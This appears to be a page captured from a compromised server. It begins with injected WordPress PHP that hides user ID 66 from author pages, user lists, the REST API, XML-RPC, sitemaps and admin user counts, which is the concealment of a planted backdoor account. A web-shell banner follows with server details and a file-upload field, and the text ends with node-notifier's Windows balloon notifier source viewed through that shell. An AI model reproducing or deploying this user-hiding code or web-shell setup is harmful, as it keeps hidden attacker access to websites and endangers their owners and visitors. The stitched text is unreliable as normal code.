add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/badgeurope.eu/node_modules/node-notifier/notifiers/ |
Upload File : |
/**
* Wrapper for the notifu 1.6 (http://www.paralint.com/projects/notifu/)
Usage
/t <value> The type of message to display values are:
info The message is an informational message
warn The message is an warning message
error The message is an error message
/d <value> The number of milliseconds to display (omit or 0 for infinit)
/p <value> The title (or prompt) of the ballon
/m <value> The message text
/i <value> Specify an icon to use ("parent" uses the icon of the parent process)
/e Enable ballon tips in the registry (for this user only)
/q Do not play a sound when the tooltip is displayed
/w Show the tooltip even if the user is in the quiet period that follows his very first login (Windows 7 and up)
/xp Use IUserNotification interface event when IUserNotification2 is available
/l Display license for notifu
// Kill codes:
2 = Timeout
3 = Clicked
4 = Closed or faded out
*/
var path = require('path');
var notifier = path.resolve(__dirname, '../vendor/notifu/notifu');
var checkGrowl = require('../lib/checkGrowl');
var utils = require('../lib/utils');
var Toaster = require('./toaster');
var Growl = require('./growl');
var os = require('os');
var EventEmitter = require('events').EventEmitter;
var util = require('util');
var hasGrowl;
module.exports = WindowsBalloon;
function WindowsBalloon(options) {
options = utils.clone(options || {});
if (!(this instanceof WindowsBalloon)) {
return new WindowsBalloon(options);
}
this.options = options;
EventEmitter.call(this);
}
util.inherits(WindowsBalloon, EventEmitter);
function noop() {}
function notifyRaw(options, callback) {
var fallback;
var notifierOptions = this.options;
options = utils.clone(options || {});
callback = callback || noop;
if (typeof options === 'string') {
options = { title: 'node-notifier', message: options };
}
var actionJackedCallback = utils.actionJackerDecorator(
this,
options,
callback,
function(data) {
if (data === 'activate') {
return 'click';
}
if (data === 'timeout') {
return 'timeout';
}
return false;
}
);
if (!!this.options.withFallback && utils.isWin8()) {
fallback = fallback || new Toaster(notifierOptions);
return fallback.notify(options, callback);
}
if (
!!this.options.withFallback &&
(!utils.isLessThanWin8() || hasGrowl === true)
) {
fallback = fallback || new Growl(notifierOptions);
return fallback.notify(options, callback);
}
if (!this.options.withFallback || hasGrowl === false) {
doNotification(options, notifierOptions, actionJackedCallback);
return this;
}
checkGrowl(notifierOptions, function(_, hasGrowlResult) {
hasGrowl = hasGrowlResult;
if (hasGrowl) {
fallback = fallback || new Growl(notifierOptions);
return fallback.notify(options, callback);
}
doNotification(options, notifierOptions, actionJackedCallback);
});
return this;
}
Object.defineProperty(WindowsBalloon.prototype, 'notify', {
get: function() {
if (!this._notify) this._notify = notifyRaw.bind(this);
return this._notify;
}
});
var allowedArguments = ['t', 'd', 'p', 'm', 'i', 'e', 'q', 'w', 'xp'];
function doNotification(options, notifierOptions, callback) {
var is64Bit = os.arch() === 'x64';
options = options || {};
options = utils.mapToNotifu(options);
options.p = options.p || 'Node Notification:';
var fullNotifierPath = notifier + (is64Bit ? '64' : '') + '.exe';
var localNotifier = notifierOptions.customPath || fullNotifierPath;
if (!options.m) {
callback(new Error('Message is required.'));
return this;
}
var argsList = utils.constructArgumentList(options, {
wrapper: '',
noEscape: true,
explicitTrue: true,
allowedArguments: allowedArguments
});
if (options.wait) {
return utils.fileCommand(localNotifier, argsList, function(error, data) {
var action = fromErrorCodeToAction(error.code);
if (action === 'error') return callback(error, data);
return callback(null, action);
});
}
utils.immediateFileCommand(localNotifier, argsList, callback);
}
function fromErrorCodeToAction(errorCode) {
switch (errorCode) {
case 2:
return 'timeout';
case 3:
case 6:
case 7:
return 'activate';
case 4:
return 'close';
default:
return 'error';
}
}